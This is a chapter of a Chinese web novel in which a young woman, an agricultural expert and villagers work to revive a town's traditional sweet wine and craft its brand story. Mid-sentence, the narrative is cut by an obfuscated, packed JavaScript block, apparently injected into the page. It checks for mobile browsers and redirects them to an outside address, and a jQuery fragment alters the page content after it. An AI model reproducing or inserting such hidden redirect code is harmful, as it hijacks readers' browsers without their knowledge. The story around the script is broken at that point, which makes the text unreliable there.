第九章：土壤、故事与人心


    农科院的专家姓赵，戴副黑框眼镜，皮肤黝黑，一看就是常年在田间地头跑的人。他蹲在后山那五亩水田边，抓起一把土，在手里捻了捻，又凑到鼻尖闻了闻。


    “pH值偏酸。”赵专家站起来，拍拍手上的土，“有机质含量低，板结严重。这地种水稻还行，种酿酒用的糯米……够呛。”


    王慕青心里一沉：“一点办法都没有吗？”


    “也不是没有。”赵专家从包里拿出个小本子，“得改良。第一，撒石灰调pH。第二，种一季绿肥，紫云英或者油菜，翻到地里增加有机质。第三，深耕，打破板结层。”


    陈远在旁边算时间：“那得多久？”


    “最快也要半年。”赵专家说，“而且这只是基础改良。要种出适合酿酒的糯米，还得选对品种。你们这里传统的糯米品种叫什么？”


    三叔公在一旁开口：“青塘珍珠糯。我爷爷那辈就种这个。”


    “还有种子吗？”


    “有是有，但种的人少了，都改种杂交稻了。”三叔公叹口气，“产量低，容易倒伏，年轻人不爱种。”


    赵专家眼睛一亮：“传统品种往往风味好。这样，你们找点种子，我带回所里做检测。如果品质确实好，我们可以做提纯复壮，再结合现代育种技术，培育出既保持风味又提高产量的新品种。”


    王慕青和陈远对视一眼，都看到对方眼里的希望。


    “那这半年……”王慕青犹豫，“我的酒怎么办？”


    “先外购糯米。”赵专家很实在，“找可靠的供应商，签长期合同，要求他们按你的标准种植。同时你自己这边抓紧改良土地，培育品种。两条腿走路。”


    梁海安今天也在场，他听完后说：“赵老师，您有没有推荐的糯米种植基地？”


    “有。”赵专家翻出手机，“江西有个地方，种传统糯米很有名，我认识那里的合作社负责人。不过他们的米不便宜，比市价高30%左右。”


    “品质好就行。”梁海安看向王慕青，“你觉得呢？”


    王慕青咬了咬嘴唇。成本又增加了，但赵专家说得对，好米才能酿好酒。


    “先买一批试试。”她说，“赵老师，麻烦您引荐一下。”


    “没问题。”赵专家很爽快，“我今晚就联系。”


    考察完田地，一行人回到镇上。赵专家还要去县里农业局办点事，梁海安开车送他。临走前，梁海安对王慕青说：“客户答谢会的反馈我整理好了，晚点发给你。有个建议很有意思，你听听看。”


    王慕青点头：“好。”


    下午，她在三叔公院子帮忙分装新一批桂花酒。瓷瓶和包装盒已经到了，第一批五百瓶，要赶在周末前发出去。


    陈远一边贴标签一边说：“慕青，梁海安那个直播的主意，我觉得真可以试试。现在抖音上好多农村主播，拍种地、做饭，粉丝可多了。”


    “三叔公会同意吗？”王慕青看向屋里。


    三叔公正在检查发酵桶的温度，听见这话，头也不回：“只要不拍我的脸，随便。”


    王慕青笑了：“那咱们就试试。陈远，设备你会弄吗？”


    “简单！我研究过了，买几个摄像头，连上WiFi，手机上就能看。”陈远兴奋起来，“咱们可以直播选米、洗米、蒸米，这些工序干净又好看。关键步骤比如拌酒曲、调温度，可以不拍，或者只拍个大概。”


    正说着，王慕青手机响了。是梁海安发来的一个文档，还有几条语音消息。


    她点开文档，是客户答谢会的反馈汇总。大多数人评价很好：“口感清爽”“包装精致”“有特色”。但也有人提了意见：“甜度可以再调整”“酒精度略低”。


    翻到最后，有一行加粗的字：“多位客户提到：酒很好，但缺乏一个打动人的品牌故事。建议挖掘青塘甜酒的历史或酿酒师的故事。”


    语音消息里，梁海安的声音传来：“这个建议我觉得很关键。现在消费者买的不仅是产品，更是故事。你的酒卖二十八一瓶，比市面上贵很多，需要有一个支撑这个价格的故事。”


    第二条语音：“我查了一下，青塘镇历史上确实有酿酒传统，但资料很少。你可以问问三叔公，或者镇上的老人，看有没有什么传说、典故。”


    第三条语音：“另外，我有个想法，但可能有点冒昧……你本人的故事，其实也很打动人。都市白领辞职回乡，振兴传统手艺，带动乡亲致富。这也是一个很好的角度。当然，要不要用，怎么用，完全由你决定。”


    王慕青听完，沉默了很久。


    陈远问：“怎么了？”


    “梁海安说，我们的酒缺一个品牌故事。”王慕青把手机递给他看。


    陈远看完，一拍大腿：“对啊！我怎么没想到！慕青，你想想，你一个城里姑娘，大公司不干了，跑回来学酿酒，这本身就有故事啊！”


    “我不想用自己的故事。”王慕青摇头，“太私人了。”


    “那……三叔公的故事呢？”陈远看向屋里，“他酿了一辈子酒，肯定有很多经历。”


    这时，院门外传来窸窸窣窣的声音。王慕青抬头，看见李老四站在门外，搓着手，想进又不敢进的样子。


    “李叔？”王慕青站起来。


    李老四这才走进来，手里拎着个塑料袋，里面是两瓶酒：“慕青，三叔公……我，我来赔罪。”


    三叔公从屋里出来，板着脸：“赔什么罪？你的酒卖完了？”


    “没，没卖了。”李老四低着头，“那天您说了之后，我就收了摊。这两瓶是我以前酿的，没加那些乱七八糟的东西，您……您尝尝。”


    他把酒放在石桌上，又掏出一个信封：“这是那天卖酒的钱，我都退了，还剩这些……我想捐给镇上的小学，买点书。”


    王慕青有些意外。陈远也愣住了。


    三叔公脸色缓和了些：“算你还有点良心。”


    李老四犹豫了一下，又说：“慕青，我……我能跟你学酿酒吗？真手艺那种。我不求赚钱，就想学点正经东西。我儿子在城里读大学，每次打电话都说，爸你别卖那些假货了，丢人。我……我脸上挂不住啊。”


    他说着，眼圈有点红。


    王慕青心里一软。她想起上辈子，自己在城里打工时，何尝不是怕被人看不起？只是她选择的是讨好和隐忍，而李老四选择的是投机取巧。


    “李叔，”她说，“学酿酒很苦，要早起，要出力，还不一定马上能赚钱。”


    “我不怕苦！”李老四赶紧说，“我种了一辈子地，什么苦没吃过？我就是……就是想做点对得起良心的事。”


    三叔公抽了口旱烟，缓缓开口：“老四，你今年五十几了？”


    “五十六。”


    “五十六学酿酒，晚了点。”三叔公说，“但你要真想学，我可以教你基础。能不能成，看你自己的悟性和毅力。”


    李老四激动得直点头：“谢谢三叔公！谢谢！”


    “别谢我。”三叔公摆摆手，“要谢就谢慕青。要不是她回来折腾这一出，咱们这些人，还守着老手艺等死呢。”


    这话说得重，院子里安静下来。


    三叔公看向王慕青：“丫头，你不是要什么品牌故事吗？咱们青塘甜酒的故事，不就是这些吗？”


    王慕青怔住了。


    “老四想学真手艺，小远想在家乡干点事，你想把老祖宗的东西传下去。”三叔公说，“这不就是故事吗？一群普通人，想把一件事做好。”


    夕阳的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17177364|196920||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    余晖洒进院子，给每个人都镀上一层金边。


    王慕青忽然明白了。她一直在找什么传奇的历史、动人的典故，但其实最打动人心的，就是眼前这些真实的人，真实的事。


    “李叔，”她说，“您要是真想学，明天早晨五点，来这儿。先学洗缸。”


    “好好好！”李老四连连点头，“我四点就来！”


    他走了，脚步轻快得像年轻人。


    陈远感叹：“没想到李老四还有这一面。”


    “人都有想变好的时候。”三叔公说，“就看给不给机会。”


    晚上，王慕青在灯下整理思路。她打开电脑，新建了一个文档，标题是：“青塘甜酒品牌故事”。


    她写道：


    “在青塘镇，酿酒不只是手艺，是三代人的坚守。”


    “七十三岁的三叔公，守着一院子酒缸，说‘手艺不能带进棺材里’。”


    “二十六岁的返乡青年王慕青，辞去都市工作，想用现代的方式让古老的味道重生。”


    “三十岁的陈远，放弃城里机会，留在故乡探索农业的新可能。”


    “五十六岁的李老四，在犯错后幡然醒悟，从头学起。”


    “还有更多默默耕耘的农人，他们种出每一粒糯米，都是这瓶酒的起点。”


    “青塘甜酒，不只是一种饮品。它是一个小镇的记忆，是一群人的坚持，是传统与现代的对话。”


    “我们相信，好的食物，能连接人与土地，人与时间，人与人。”


    写到这里，王慕青眼睛有些湿润。她不是在编故事，而是在记录正在发生的事。


    手机响了，是梁海安打来的。


    “看到我发的反馈了吗？”他问。


    “看到了。”王慕青说，“我正在写品牌故事。”


    “需要我帮忙吗？”


    “不用。”王慕青顿了顿，“这次我想自己来。”


    电话那头沉默了一秒，然后梁海安笑了：“好。写好了发我看看，我帮你找找错别字。”


    他语气轻松，没有过去的强势。王慕青心里某个地方，微微动了一下。


    “梁海安，”她轻声说，“谢谢。”


    “谢什么？”


    “谢谢你提醒我故事的重要性。”王慕青说，“也谢谢你……用对的方式帮我。”


    梁海安又沉默了几秒，然后说：“我在学。可能学得慢，但我在学。”


    挂了电话，王慕青看着窗外。夜色中的青塘镇很安静，只有零星几点灯光。


    她想起上辈子，她总是在等梁海安的电话，等他回家，等他看她一眼。现在，她不等了。她在做自己的事，走自己的路。


    而梁海安，反而开始跟在她身后。


    命运真是个奇妙的东西。


    她继续写品牌故事，写到深夜。母亲推门进来，端了碗甜酒冲蛋：“别熬太晚。”


    “妈，”王慕青接过碗，“咱们家的地，我也想改良一下。赵专家说，种绿肥能改善土壤。”


    “行啊。”母亲在床边坐下，“你想做什么，妈都支持。就是别太累，你看你，回来这些天，人都瘦了。”


    “但我开心。”王慕青笑着说，“比在城里的时候开心。”


    母亲摸摸她的头：“开心就好。”


    喝完甜酒，王慕青继续工作。文档的最后，她加上了一行字：


    “每一瓶青塘甜酒，都是一个承诺：对土地的尊重，对手艺的敬畏，对品尝者的诚意。”


    “我们酿的不仅是酒，是时光的味道。”


    保存文档，发送给梁海安。


    很快，回复来了：“写得好。真实，诚恳，有力量。”


    王慕青笑了，关掉电脑。


    今夜，她睡得很踏实。